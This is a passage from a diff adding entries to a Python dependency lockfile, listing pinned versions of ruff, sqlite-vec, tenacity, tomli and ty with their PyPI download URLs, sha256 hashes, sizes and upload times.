"2026-06-25T17:20:09.191Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" }, + { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" }, + { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" }, + { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" }, +] + +[[package]] +name = "sqlite-vec" +version = "0.1.9" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/85/9fad0045d8e7c8df3e0fa5a56c630e8e15ad6e5ca2e6106fceb666aa6638/sqlite_vec-0.1.9-py3-none-macosx_10_6_x86_64.whl", hash = "sha256:1b62a7f0a060d9475575d4e599bbf94a13d85af896bc1ce86ee80d1b5b48e5fb", size = 131171, upload-time = "2026-03-31T08:02:31.717Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3d/3677e0cd2f92e5ebc43cd29fbf565b75582bff1ccfa0b8327c7508e1084f/sqlite_vec-0.1.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1d52e30513bae4cc9778ddbf6145610434081be4c3afe57cd877893bad9f6b6c", size = 165434, upload-time = "2026-03-31T08:02:32.712Z" }, + { url = "https://files.pythonhosted.org/packages/00/d4/f2b936d3bdc38eadcbd2a87875815db36430fab0363182ba5d12cd8e0b51/sqlite_vec-0.1.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e921e592f24a5f9a18f590b6ddd530eb637e2d474e3b1972f9bbeb773aa3cb9", size = 160076, upload-time = "2026-03-31T08:02:33.796Z" }, + { url = "https://files.pythonhosted.org/packages/6f/ad/6afd073b0f817b3e03f9e37ad626ae341805891f23c74b5292818f49ac63/sqlite_vec-0.1.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux1_x86_64.whl", hash = "sha256:1515727990b49e79bcaf75fdee2ffc7d461f8b66905013231251f1c8938e7786", size = 163388, upload-time = "2026-03-31T08:02:34.888Z" }, + { url = "https://files.pythonhosted.org/packages/42/89/81b2907cda14e566b9bf215e2ad82fc9b349edf07d2010756ffdb902f328/sqlite_vec-0.1.9-py3-none-win_amd64.whl", hash = "sha256:4a28dc12fa4b53d7b1dced22da2488fade444e96b5d16fd2d698cd670675cf32", size = 292804, upload-time = "2026-03-31T08:02:36.035Z" }, +] + +[[package]] +name = "tenacity" +version = "9.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0a/d4/2b0cd0fe285e14b36db076e78c93766ff1d529d70408bd1d2a5a84f1d929/tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb", size = 48036, upload-time = "2025-04-02T08:25:09.966Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/30/643397144bfbfec6f6ef821f36f33e57d35946c44a2352d3c9f0ae847619/tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138", size = 28248, upload-time = "2025-04-02T08:25:07.678Z" }, +] + +[[package]] +name = "tomli" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/30/31573e9457673ab10aa432461bee537ce6cef177667deca369efb79df071/tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c", size = 17477, upload-time = "2026-01-11T11:22:38.165Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/d9/3dc2289e1f3b32eb19b9785b6a006b28ee99acb37d1d47f78d4c10e28bf8/tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867", size = 153663, upload-time = "2026-01-11T11:21:45.27Z" }, + { url = "https://files.pythonhosted.org/packages/51/32/ef9f6845e6b9ca392cd3f64f9ec185cc6f09f0a2df3db08cbe8809d1d435/tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9", size = 148469, upload-time = "2026-01-11T11:21:46.873Z" }, + { url = "https://files.pythonhosted.org/packages/d6/c2/506e44cce89a8b1b1e047d64bd495c22c9f71f21e05f380f1a950dd9c217/tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95", size = 236039, upload-time = "2026-01-11T11:21:48.503Z" }, + { url = "https://files.pythonhosted.org/packages/b3/40/e1b65986dbc861b7e986e8ec394598187fa8aee85b1650b01dd925ca0be8/tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76", size = 243007, upload-time = "2026-01-11T11:21:49.456Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6f/6e39ce66b58a5b7ae572a0f4352ff40c71e8573633deda43f6a379d56b3e/tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d", size = 240875, upload-time = "2026-01-11T11:21:50.755Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ad/cb089cb190487caa80204d503c7fd0f4d443f90b95cf4ef5cf5aa0f439b0/tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576", size = 246271, upload-time = "2026-01-11T11:21:51.81Z" }, + { url = "https://files.pythonhosted.org/packages/0b/63/69125220e47fd7a3a27fd0de0c6398c89432fec41bc739823bcc66506af6/tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a", size = 96770, upload-time = "2026-01-11T11:21:52.647Z" }, + { url = "https://files.pythonhosted.org/packages/1e/0d/a22bb6c83f83386b0008425a6cd1fa1c14b5f3dd4bad05e98cf3dbbf4a64/tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa", size = 107626, upload-time = "2026-01-11T11:21:53.459Z" }, + { url = "https://files.pythonhosted.org/packages/2f/6d/77be674a3485e75cacbf2ddba2b146911477bd887dda9d8c9dfb2f15e871/tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614", size = 94842, upload-time = "2026-01-11T11:21:54.831Z" }, + { url = "https://files.pythonhosted.org/packages/3c/43/7389a1869f2f26dba52404e1ef13b4784b6b37dac93bac53457e3ff24ca3/tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1", size = 154894, upload-time = "2026-01-11T11:21:56.07Z" }, + { url = "https://files.pythonhosted.org/packages/e9/05/2f9bf110b5294132b2edf13fe6ca6ae456204f3d749f623307cbb7a946f2/tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8", size = 149053, upload-time = "2026-01-11T11:21:57.467Z" }, + { url = "https://files.pythonhosted.org/packages/e8/41/1eda3ca1abc6f6154a8db4d714a4d35c4ad90adc0bcf700657291593fbf3/tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a", size = 243481, upload-time = "2026-01-11T11:21:58.661Z" }, + { url = "https://files.pythonhosted.org/packages/d2/6d/02ff5ab6c8868b41e7d4b987ce2b5f6a51d3335a70aa144edd999e055a01/tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1", size = 251720, upload-time = "2026-01-11T11:22:00.178Z" }, + { url = "https://files.pythonhosted.org/packages/7b/57/0405c59a909c45d5b6f146107c6d997825aa87568b042042f7a9c0afed34/tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b", size = 247014, upload-time = "2026-01-11T11:22:01.238Z" }, + { url = "https://files.pythonhosted.org/packages/2c/0e/2e37568edd944b4165735687cbaf2fe3648129e440c26d02223672ee0630/tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51", size = 251820, upload-time = "2026-01-11T11:22:02.727Z" }, + { url = "https://files.pythonhosted.org/packages/5a/1c/ee3b707fdac82aeeb92d1a113f803cf6d0f37bdca0849cb489553e1f417a/tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729", size = 97712, upload-time = "2026-01-11T11:22:03.777Z" }, + { url = "https://files.pythonhosted.org/packages/69/13/c07a9177d0b3bab7913299b9278845fc6eaaca14a02667c6be0b0a2270c8/tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da", size = 108296, upload-time = "2026-01-11T11:22:04.86Z" }, + { url = "https://files.pythonhosted.org/packages/18/27/e267a60bbeeee343bcc279bb9e8fbed0cbe224bc7b2a3dc2975f22809a09/tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3", size = 94553, upload-time = "2026-01-11T11:22:05.854Z" }, + { url = "https://files.pythonhosted.org/packages/34/91/7f65f9809f2936e1f4ce6268ae1903074563603b2a2bd969ebbda802744f/tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0", size = 154915, upload-time = "2026-01-11T11:22:06.703Z" }, + { url = "https://files.pythonhosted.org/packages/20/aa/64dd73a5a849c2e8f216b755599c511badde80e91e9bc2271baa7b2cdbb1/tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e", size = 149038, upload-time = "2026-01-11T11:22:07.56Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8a/6d38870bd3d52c8d1505ce054469a73f73a0fe62c0eaf5dddf61447e32fa/tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4", size = 242245, upload-time = "2026-01-11T11:22:08.344Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/8002fadefb64ab2669e5b977df3f5e444febea60e717e755b38bb7c41029/tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e", size = 250335, upload-time = "2026-01-11T11:22:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a5/3d/4cdb6f791682b2ea916af2de96121b3cb1284d7c203d97d92d6003e91c8d/tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c", size = 245962, upload-time = "2026-01-11T11:22:11.27Z" }, + { url = "https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "ty" +version = "0.0.55" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" }, + { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" }, + { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" }, + { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" }, + { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" }, + { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" }, + { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = 